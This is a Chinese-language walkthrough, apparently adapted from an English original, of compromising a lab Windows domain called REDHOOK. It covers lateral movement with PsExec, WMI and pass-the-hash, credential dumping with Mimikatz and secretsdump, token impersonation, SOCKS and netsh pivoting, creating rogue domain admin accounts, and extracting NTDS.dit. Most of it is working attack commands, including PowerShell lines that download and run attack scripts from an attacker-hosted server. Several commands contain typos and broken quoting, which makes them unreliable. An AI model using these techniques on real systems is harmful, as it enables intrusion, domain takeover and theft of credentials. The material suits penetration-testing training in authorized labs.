0x00 場景
本次目標是獲取“ redhook.DA”域中帳戶的一個可用憑據。從一個控制內網主機的權限開始,但尚未與目標域控制器處於同一子網中。如下圖所示:
此外,假設攻擊者獲取了client 1主機中的本地管理員緩存認證憑據。通常,如果網絡范圍足夠大,將通過批處理,vbs,.NET,ps1等腳本在網絡共享上找到相應的存儲的有效憑據。以獲得初始訪問權限。在這篇文章中,本次攻擊者為在kali主機上,重點講述在Windows上橫向移動的方法以及不包括繞過AV的情況。
0x00 攻擊clicent1主機
如上所述。通過網絡共享上的批處理及腳本獲取了clent1(10.0.0.129)主機的用戶認證憑據:
# Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat @echo off net use "\\10.0.0.129\C$" /user:bob ImSoSecur3! #建立共享 if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" ( echo "Sigh, more errors on Client1! Copying.." copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\ del "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" ) else ( echo "Yaay, no new errors on Client1!" ) net use "\\10.0.0.129\C$" /delete
通過批處理腳本快速獲取指定的IP的一些NetBIOS信息:
nbtscan -vh 10.0.0.129 or nbtstat -A 10.0.0.129

也可以使用命令nbtstat -A IP 執行相同的操作。可獲取到主機名WIN7-ENT-CLI1,並且已連接到REDHOOK域
2.PsExec
使用metasploit的PsExec,在kali上可以輕松獲取client 1主機的反彈shell。注意,bob是本地帳戶並不是域賬戶。因此,沒有使用SMBDomain參數。
msf>use exploit/winodws/smb/psexec msf>set rhost 10.0.0.129 msf>set smbuser bob msf>set smbpass ImSoSecur3! msf>show options msf>exploit
這里也可以使用Impacket包中的PsExec,它使用RemComSvc模擬PsExec。這里的好處是,如果沒有獲取到明文憑證,它可接受哈希傳遞。
python psexec.py bob:ImSoSecur3!@10.0.0.129 cmd
windows下的PsExec.exe也可以橫向移動,它具有簽名可執行文件的好處。在此命令中添加“ -s”標識將獲取SYSTEM Shell。
Psexec.exe \\10.0.0.129 -u bob -p ImSoSecur3! cmd
3.WMI
關於執行遠程命令工具,這里最著名的是WMIC工具,不僅允許在遠程主機上執行命令,而且還可以利用WMI來獲取敏感信息並重新配置主機系統,該工具為windows 內置命令。
wmic /node:10.0.0.129 /user:bob /password::ImSoSecur3! computersystem list brief /format:list #遠程獲取計算機信息 wmic /node:10.0.0.129 /user:bob /password::ImSoSecur3! computersystem get username #遠程獲取目標用戶賬戶信息權限 wmic /node:10.0.0.129 /user:bob /password::ImSoSecur3! process call crate "calc.exe" #遠程創建進程,這里是calc.exe wmic /node:10.0.0.129 /user:bob /password:ImSoSecur3! computersystem process get Name,ProcessId | findstr calc #遠程獲取進程ID,名稱,並執行進程
}
4.WmiExec
在Impacket包中可以使用WmiExec工具,執行命令並可以打印出命令輸出,還可以提供半交互式shell也可以通過hash傳遞。
python wmiexec.py bob:ImSoSecur3!@10.0.0.129 route print -4 10.*
PowerSploitz中的Invoke-WmiCommand,由於使用了PSCredential對象,會占用更多的內存,但可以獲取命令打印輸出和腳本的內存存儲位置。
5.Pass-The-Hash(WCE和Mimikatz)
有時,當獲取目標主機命令窗口時,只能獲取到目標主機用戶的NTLM哈希值,而不能明文密碼獲取。如果在這種情況下,可以使用metasploit(psexec)或Impacket。如果環境局限於本地Windows環境,則可以使用WCE或Mimikatz將NTLM哈希注入到進程中。
whoami net use \\10.0.0.129\ADMIN$ #無法獲取目標共享,這里需要提供用戶名和密碼 wce.exe -s bob::aad3b435b1404eeaad3b435b51404e:f6c0fa29f4cad745ad04bed1d00a7c82 #通過wce.exe遠程hash傳遞 net use \\10.0.0.129\ADMIN$ dir \\10.0.0.129\ADMIN$
缺點是WCE會顯示錯誤報警信息!,可以使用powershell 將Mimikatz直接加載到內存中!但是,在這種情況下,最好使用已編譯好的的二進制文件mimikatz.exe。
net use \\10.0.0.129\$ADMIN miminatz.exe mimikatz#sekurlsa::pth /user:bob /domain:. /ntlm:f6c0fa29f4cad745ad04bed1d00a7c82 #mimikat中模塊pth whoami net use \\10.0.0.129\$ADMIN
請注意,在這種情況下,域都設置為“.”。這是因為bob是本地帳戶.
0x02 建立據點01
1.Metasploit(Mimikatz和hashdump)
使用Mimikatz獲取活動會話的用戶憑據,並使用hashdump為當前未登錄的本地帳戶獲取哈希
meterpreter>load mimikatz #加載mimikatz模塊 meterprter>tspkg #進行system權限提升 meterprter>msvv #獲取當前活動會話憑證 meterprter>hashdump #獲取本地主機賬戶的全部hash值
2.Secretsdump和Invoke-Mimikatz
也可以使用Impacket的SecretsDump和Powersploit的Invoke-Mimikatz。在這種情況下,Invoke-Mimikatz托管在攻擊者的網絡服務器上。
python secretsdump.py bob:ImSoSecur3!@10.0.0.129 python psexec.py bob:ImSoSecur3!@10.0.0.129 cmd powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DowloadString("http://10.0.0.129/Invoke-Mimikatz.ps1');Invoke-Mimikatz" mimiatz(powershell)#sekurlsa::logonpasswords
當然,還有其他方法可以解決此問題,但認為這些可能是主要方法。
0x03 信息收集
現在可以訪問REDHOOK域中的一台主機,該主機也連接到另一個子網。
1.令牌獲取
現在我們有了redhook域里的一台機器並且能連接到不同的子網中,現在開始做一個信息收集。
要查詢域的信息,需要有一個域用戶,當前的bob用戶並不是域用戶或system權限,但是我們可以通過
NtQuerySystemInformation來發現其他用戶的token,進而模擬他們登陸。
meterpreter有這個插件,使這個過程非常簡單。
meterprter>getuid meterpter>list_tokens -u meterprter>impersonate_token REDHOOK\\asenath.waite meterprter>shell whomai
另外,可以使用Luke Jennings的incognito,該工具具有類似PsExec的功能,可以遠程使用它。
incognito.exe -h 10.0.0.129 -u bob -p ImSoSecur3! list_tokens -u incognito.exe -h 10.0.0.129 -u bob -p ImSoSecur3! execute -c REDHOOK\asenath.waite cmd.exe
最后,還有PowerSploit的Invoke-TokenManipulation。但是,在當前狀態下,不建議您使用它,因為無法真正獲得所需的功能。
2.域信息收集
現在,已獲取目標域主機的一個Shell,需要進行一些信息收集,以最大獲取戰果。
C:\Windows\System32> whoami redhook\asenath.waite C:\Windows\System32> hostnameWIN7-Ent-CLI1 C:\Windows\System32> ipconfig Windows IP Configuration Ethernet adapter Local Area Connection 2: Connection-specific DNS Suffix . : localdomain Link-local IPv6 Address . . . . . : fe80::a1ba:a1ab:170c:7916%17 IPv4 Address. . . . . . . . . . . : 10.0.0.129 # Attacker's subnet Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : Ethernet adapter Bluetooth Network Connection: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::5ddc:1e6:17e9:9e15%11 IPv4 Address. . . . . . . . . . . : 10.1.1.2 # REDHOOK subnet Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.1.1.1 Tunnel adapter isatap.{8D0466B5-1F88-480C-A42D-49A871635C9A}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.localdomain: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : localdomain Tunnel adapter isatap.{5CBBE015-1E1C-4926-8025-EBB59E470186}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : # A very small network, three hosts, including the one we have just compromised.C:\Windows\System32> net viewServer Name Remark -------------------------------------------------------------------------------\\REDRUM-DC red.dc\\WIN7-ENT-CLI1\\WIN7-ENT-CLI2 The command completed successfully. # The DC the user is authenticated toC:\Windows\System32> echo %logonserver%\\REDRUM-DC C:\Windows\System32> ping -n 1 REDRUM-DC Pinging redrum-dc.redhook.local [10.1.1.200] with 32 bytes of data:Reply from 10.1.1.200: bytes=32 time<1ms TTL=128 Ping statistics for 10.1.1.200: Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms # List local usersC:\Windows\System32> net user User accounts for \\WIN7-ENT-CLI1 -------------------------------------------------------------------------------Administrator bob GuestTemplateAdmin The command completed successfully. # List REDHOOK domain users C:\Windows\System32> net user /domain The request will be processed at a domain controller for domain RedHook.local. User accounts for \\Redrum-DC.RedHook.local -------------------------------------------------------------------------------Administrator asenath.waite Guestjohn.smith krbtgt redhook.DArobert.suydam wilbur.whateley The command completed successfully. # PowerSploit => Invoke-EnumerateLocalAdmin: Find all users who are local Administrators on a box in the network. C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/PowerView.ps1');Invoke-EnumerateLocalAdmin" Server : Redrum-DC.RedHook.localAccountName : RedHook.local/Administrator # Be careful, Administrator is a domain userSID : S-1-5-21-129707511-1158432277-3818383092-500 in this case, not a local user!Disabled : FalseIsGroup : FalseIsDomain : TrueLastLogin : 28/01/2016 21:38:22 Server : Redrum-DC.RedHook.localAccountName : RedHook.local/Enterprise AdminsSID : S-1-5-21-129707511-1158432277-3818383092-519Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin : Server : Redrum-DC.RedHook.localAccountName : RedHook.local/Domain AdminsSID : S-1-5-21-129707511-1158432277-3818383092-512Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin : Server : WIN7-ENT-CLI1.RedHook.localAccountName : WIN7-Ent-CLI1/AdministratorSID : S-1-5-21-280973330-564264495-219324212-500Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin : Server : WIN7-ENT-CLI1.RedHook.localAccountName : RedHook.local/Domain AdminsSID : S-1-5-21-129707511-1158432277-3818383092-512Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin : Server : WIN7-ENT-CLI1.RedHook.localAccountName : WIN7-Ent-CLI1/bob # The local user bob is an admin on Client 1,SID : S-1-5-21-280973330-564264495-219324212-1002 we knew this already.Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin : Server : WIN7-ENT-CLI1.RedHook.localAccountName : WIN7-Ent-CLI1/TemplateAdmin # Mmm!SID : S-1-5-21-280973330-564264495-219324212-1003Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin : Server : WIN7-ENT-CLI2.RedHook.localAccountName : WIN7-ENT-CLI2/AdministratorSID : S-1-5-21-1588183677-2924731702-2964281847-500Disabled : ERRORIsGroup : FalseIsDomain : FalseLastLogin : Server : WIN7-ENT-CLI2.RedHook.localAccountName : RedHook.local/Domain AdminsSID : S-1-5-21-129707511-1158432277-3818383092-512Disabled : FalseIsGroup : TrueIsDomain : TrueLastLogin : Server : WIN7-ENT-CLI2.RedHook.localAccountName : WIN7-ENT-CLI2/TemplateAdmin # Mmm², very suspicious, the local userSID : S-1-5-21-1588183677-2924731702-2964281847-1004 TemplateAdmin is an admin on both "ClientDisabled : ERROR 1" and "Client 2"!IsGroup : FalseIsDomain : FalseLastLogin : # PowerSploit => Get-NetSession: List active, remote, logon sessions on the DC. C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName REDRUM-DC" sesi10_cname sesi10_username sesi10_time sesi10_idle_time------------ --------------- ----------- ----------------\\[fe80::18a3:b250:ed6a:28f0] REDRUM-DC$ 10 10\\10.1.1.2 asenath.waite 0 0 # Same for "Client 2". Crucially, notice that the domain user REDHOOK\Administrator is authenticated to the box and that the connection is originating from the DC! C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName WIN7-ENT-CLI2" sesi10_cname sesi10_username sesi10_time sesi10_idle_time------------ --------------- ----------- ----------------\\10.1.1.200 Administrator 1721 124\\10.1.1.2 asenath.waite 0 0 # Let's get some more info about that account. Again, this is listing information about REDHOOK\Administrator not the local administrator. C:\Windows\System32> net user Administrator /domain The request will be processed at a domain controller for domain RedHook.local. User name AdministratorFull NameComment Built-in account for administering the computer/domainUser's commentCountry code 000 (System Default)Account active YesAccount expires Never Password last set 25/01/2016 21:15:11Password expires NeverPassword changeable 26/01/2016 21:15:11Password required YesUser may change password Yes Workstations allowed AllLogon scriptUser profileHome directoryLast logon 28/01/2016 21:38:22 Logon hours allowed All Local Group Memberships *AdministratorsGlobal Group memberships *Domain Users *Domain Admins # Oops, he is a DA!The command completed successfully. # We also won't forget to retrieve some info about our fictional target REDHOOK\redhook.DA. C:\Windows\System32> net user redhook.DA /domain The request will be processed at a domain controller for domain RedHook.local. User name redhook.DAFull Name redhook DACommentUser's commentCountry code 000 (System Default)Account active YesAccount expires Never Password last set 25/01/2016 21:27:37Password expires NeverPassword changeable 26/01/2016 21:27:37Password required YesUser may change password Yes Workstations allowed AllLogon scriptUser profileHome directoryLast logon 28/01/2016 21:18:56 Logon hours allowed All Local Group MembershipsGlobal Group memberships *Enterprise Admins *Domain Admins # Our target on the other hand is the *Group Policy Creator *Schema Admins mother root of DA's hehe!The command completed successfully.
通過簡單的信息收集,我們能了解到讓我們自己成為域管理員的途徑。
- 本地用戶TemplateAdmin 是client1和client2的管理員
- 盡管沒有獲取到TemplateAdmin明文,但是獲取到TemplateAdmi的hash,可用來訪問client2
- REDHOOK\ Administrator帳戶已通過client2身份驗證,如果在其登錄時獲取了權限,可以獲取其明文憑據,即可獲得域控權限。
3.Socks代理
meterprter>run autoroute -h meterprter>run autoroute -s 10.1.1.0/24 meterprter>run autoroute -p meterprter>esc鍵 msf>use auxiliay/server/socks4a msf>show options msf>exploit

使用session1路由, 通過socks4a來進行進一步的掃描
msf>use auxiliary/scanner/smb/smb_version msf>set rhosts 10.1.1.0/24 msf>set threads 20 msf>show options msf>exploit

此外,通過proxychains啟動socks代理加載nmap進行遠程目標網絡掃描,
proxychains nmap -sTV -p 53,445 -Pn 10.1.1.200

在這種情況下,socks代理將僅接受TCP通信。仍然可以執行大多數操作,但要注意這一限制。
使用本機功能無法在Windows計算機上設置socks代理。但是,使用netsh可以創建端口轉發.
0x04 攻擊client2主機
在“client1”和“client2”之間共享的本地管理員帳戶TemplateAdmin很好地表明它們具有相同的憑據。因此,與攻擊“client2”與上面的場景沒有太大區別,只是必須跳轉shell,需要使用帳戶哈希而不是明文密碼。下面我將展示兩種方法來實現這一點,但其他選擇肯定是可能的。
1.Metasploit(PortProxy&PsExec)
即使可以通過metasploit中的路由到達“clicent2,也很難恢復連接。為了解決這個問題,可以使用portproxy模塊在“clicent1”上創建端口轉發規則。
msf>use post/winodws/manage/portproxy msf>set connect_address 10.0.0.128 msf>set ipv6_xp true msf>set local_address 10.1.1.2 msf>set local_port 9988 msf>set session 1 msf>set type v4tov4 msf>show options msf>exploit

client1監聽10.1.1.2:9988向10.0.0.128:9988發送流量。其實是在Windows中嵌套了netsh,下的就是稍微重新配置PsExec。
msf>use exploit/winodws/smb/psexec msf>set rhost 10.01.1.3 msf>set prot 445 msf>set smbpass ImSoSecur3! msf>set share ADMIN$ msf>exploit msf >use payload windows/meterprter/reverse_tcp msf>set lhost 10.1.1.2 msf>set lport 9988 msf>exploit meterpter>ipconfig

2.Impacket(PsExec)&netsh
在client1上使用netsh手動設置轉發規則
python psexec.py bob:ImSoSecur3!@10.0.0.129 cmd netsh interface portproxy add v4tov4 listenaddress=10.0.0.129 listenport=5678 connectaddress=10.1.1.3 connectport=445 netsh interface portproxy dump

現在,我們已經建立了一條規則,該規則會將到達10.0.0.129:5678的流量轉發到10.1.1.3:445。為此,Impacket的PsExec需要連接到自定義端口,不支持現成的端口,但是我們可以輕松地編輯python源。
現在有個規則是把流量從10.0.0.129:5678轉發到10.1.1.3:445,Impacket的PsExec需要連接到自定義端口,不支持現有的端口,但是可以輕松地編輯python源。

修改並保存后,可以簡單地將PsExec更改為10.0.0.129,並將流量轉發到10.1.1.3
python psexec.py -hashs aad3b435b51404eeaad3b51404ee:9dc2111131a18a1645ce61871a4fddb7 TemplateAdmin@10.0.0.129 cmd ipconfig

完成后,清理端口轉發規則。以下命令將重置端口代理配置文件。
C:\Windows\system32> netsh interface portproxy reset
純Windows端口 下:
在這種情況下,最好的選擇是使用pyinstaller修改和編譯Impacket的PsExec,類似於maaaaz編譯的(https://github.com/maaaaz/impacket-examples-windows)。
0x05 建立據點02
這可能與第一種情況類似,也可能不同,這取決於REDHOOK\Administrator對“clicent 2”進行身份驗證的方式。例如,如果輸入 了一個簡單的“ net use \\10.1.1.3\C$“命令,那么無法獲得明文憑證或哈希,但是輸入命令“ net use \\10.1.1.3\C$ /user:REDHOOK\Administrator XXXXXXX“就可獲取憑證。
即使我們無法獲得明文憑證,仍然能找到以REDHOOK\Administrator身份運行的進程,並使用incognito來模擬其令牌。
meterprter>load mimikatz meterprter>tspkg meterprter>msv meterprter>hashdump

meterprter>shell tasklist /v /fo csv | findstr REDHOOK\administrator meterprter>load incognito meterprter>impersonate token REDHOOK\\administrator meterprter>shell whoami net user b33f t0tallyL3gint! /add /domain net group "domain admins" b33f /add /domain

使用incognito來執行遠程命令:
python psexec.py -hashs aad3b435b51404eeaad3b51404ee:9dc2111131a18a1645ce61871a4fddb7 TemplateAdmin@10.0.0.129 cmd cd .. put /var/www/html/incognito.exe incognito list_tokens -u echo net user b33f_2_t0tallyL3git! /add /domain >runme.bat echo group "domain admins" b33f_2 /add /domain >>runme.bat incognito execute -c "REDHOOK\administator" "cmd.exe /c c:\windows\ruume.bat"

運行命令后,shell被掛起。發現如果沒有“-c”(交互模式)參數,shell不會掛起,但是命令也不會正確執行,如果不將命令分組到bat文件中,那么它只會在掛起之前執行第一個命令。需要說明的是,只有通過PsExec執行incognito時才會出現此問題。
雖然這是一個麻煩的解決方案,但是一旦重新登錄到主機上,就可以看到批處理腳本正確運行。
python psexec.py -hashs aad3b435b51404eeaad3b51404ee:9dc2111131a18a1645ce61871a4fddb7 TemplateAdmin@10.0.0.129 cmd cd .. del runme.bat del incoginto.exe net user b33f_2 /domain

3.文件傳輸
顯然,使用Impacket的PsExec中的“ put”命令對其有所幫助。通常,一個好的方法是將可能需要的所有文件下載到目標主機上,可以使用PowerShell的WebClient或bitsadmin之類的工具。
# Create an unrestricted share. C:\Users\asenath.waite> md C:\Users\asenath.waite\Desktop\test C:\Users\asenath.waite> echo Hello > C:\Users\asenath.waite\Desktop\test\test.txt C:\Users\asenath.waite> net share SomeShare=C:\Users\asenath.waite\Desktop\test /grant:everyone,full SomeShare was shared successfully. C:\Users\asenath.waite> net share Share name Resource Remark ------------------------------------------------------------------------------- C$ C:\ Default share IPC$ Remote IPC ADMIN$ C:\Windows Remote Admin SomeShare C:\Users\asenath.waite\Desktop\test The command completed successfully. # On the remote host simple mount the share. C:\Users\belial> net use \\10.0.0.129\SomeShare The command completed successfully. C:\Users\belial> type \\10.0.0.129\SomeShare\test.txt Hello # Unmount. C:\Users\belial> net use \\10.0.0.129\SomeShare /delete \\10.0.0.129\SomeShare was deleted successfully. # Clean up the share. C:\Users\asenath.waite> net share C:\Users\asenath.waite\Desktop\test /delete /yes Users have open files on SomeShare. Continuing the operation will force the files closed. SomeShare was deleted successfully. C:\Users\asenath.waite> rd /S /Q C:\Users\asenath.waite\Desktop\test
0x06 攻擊Redrum-DC
至此,要么找到了REDHOOK\Administrator的認證登錄憑據,要么創建自己的Doman Admins組的賬號,這意味着攻擊DC的過程將與用於攻擊“clicent 2”的過程完全相同。
還記得之前用戶socks代理么,可以使用它來訪問域內幾乎所有主機網絡。
proxychains python wmiexec.py REDHOOK/administrator:QazWsxEdc123!@10.1.1.200 whoami ipconfig powshell -exec bypass -command 'Get-windowsFeature | findstr [x]"

2.Sysinternals (PsExec) & Invoke-Mimikatz
獲取初始目標REDHOOK\redhook.DA帳戶的可用憑據。此示例使用Invoke-Mimikatz的功能將憑據轉儲到遠程計算機上。從本質上講,在clicent 1上以REDHOO\Administrator的權限獲得一個反彈shell,然后在DC上啟動Mimikatz。
PsExec.exe \\10.0.0.129 -u REDHOOK\administrator -p QazWxEdc123! cmd whomai powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DowloadString(http://10.0.0.128/Invoke-Mimikatz.ps1');Invoke-Mimikatz -command ' privilege:debug sekurlsa::msv exit' -ComputerName 'Redrum-DC'"

之所以僅在此處轉儲哈希值,是因為由於2k12 R2 / Windows 8.1+上增強的保護功能,無法為經過身份驗證的用戶獲得明文憑證。但是,從輸出中可以看到,已經成功獲取了REDHOOK \ redhook.DA NTLM哈希值,該哈希可以以該用戶身份向域中的其他計算機進行身份驗證。
python wmiexec.py -hashs 00000000000000000000000000000000:f9cbc81794c91aa773a7b4232295d46 REDOOK/redhook.DA@10.0.0.129 whoami

請注意,只是對哈希的LM部分進行了空填充,實際上對放置的內容並不重要。
0x07 提取NTDS
很多時候提取了NTDS 說明滲透要結束了,強烈建議您在此處閱讀Sean Metcalf的文章,其中展示了許多不同的技術,包括通過本地shell訪問DC以及使用WMI進行遠程訪問,下面我介紹一下訪問本地shell或通過wmi來執行命令的方法。
C:\> whoami redhook\redhook.da # Get the path to NTDS, it may not be in the C drive. C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters System Schema Version REG_DWORD 0x45 Root Domain REG_SZ DC=RedHook,DC=local Configuration NC REG_SZ CN=Configuration,DC=RedHook,DC=local Machine DN Name REG_SZ CN=NTDS Settings,CN=REDRUM-DC,CN=Servers,CN=There-Be-Dragons,CN=Sites,CN= Configuration,DC=RedHook,DC=local DsaOptions REG_SZ 1 IsClone REG_DWORD 0x0 ServiceDll REG_EXPAND_SZ %systemroot%\system32\ntdsa.dll DSA Working Directory REG_SZ C:\Windows\NTDS DSA Database file REG_SZ C:\Windows\NTDS\ntds.dit Database backup path REG_SZ C:\Windows\NTDS\dsadata.bak Database log files path REG_SZ C:\Windows\NTDS Hierarchy Table Recalculation interval (minutes) REG_DWORD 0x2d0 Database logging/recovery REG_SZ ON DS Drive Mappings REG_MULTI_SZ c:\=\\?\Volume{1c6c559b-3db6-11e5-80ba-806e6f6e6963}\ DSA Database Epoch REG_DWORD 0x7983 Strict Replication Consistency REG_DWORD 0x1 Schema Version REG_DWORD 0x45 ldapserverintegrity REG_DWORD 0x1 Global Catalog Promotion Complete REG_DWORD 0x1 DSA Previous Restore Count REG_DWORD 0x1 # Create a shadow copy of C. C:\> vssadmin create shadow /for=c: vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool (C) Copyright 2001-2013 Microsoft Corp. Successfully created shadow copy for 'c:\' Shadow Copy ID: {e0fd5b2d-b32d-4bba-89a2-efcf0b7b8fda} Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 # Copy out ntds and the system hive. C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit 1 file(s) copied. C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive 1 file(s) copied.
把文件拖到攻擊者的機器里面有很多方法,執行此操作的多種方法,選擇一個,可以簡單的使用Impacket’s SecretsDump本地解壓傳輸內容。
python secretsdump.py -ntds /root/Desktop/ntds.dit -system /root/Desktop/system.hive local

注意下NTDS可能會包含很多用戶,甚至上千,是非常大的,導出的時候要小心。!
Invoke-NinjaCopy也可以使用類似的方法獲取ntds,可以在Sean Metcalf的文章中看到一個示例。
如果我們有socks代理,則很容易的使用明文密碼來執行SecretsDump
proxychains python secretsdump.py -hashs 00000000000000000000000000000000:f9cbc81794c91aa773a7b4232295d46 REDOOK/redhook.DA@10.1.1.200
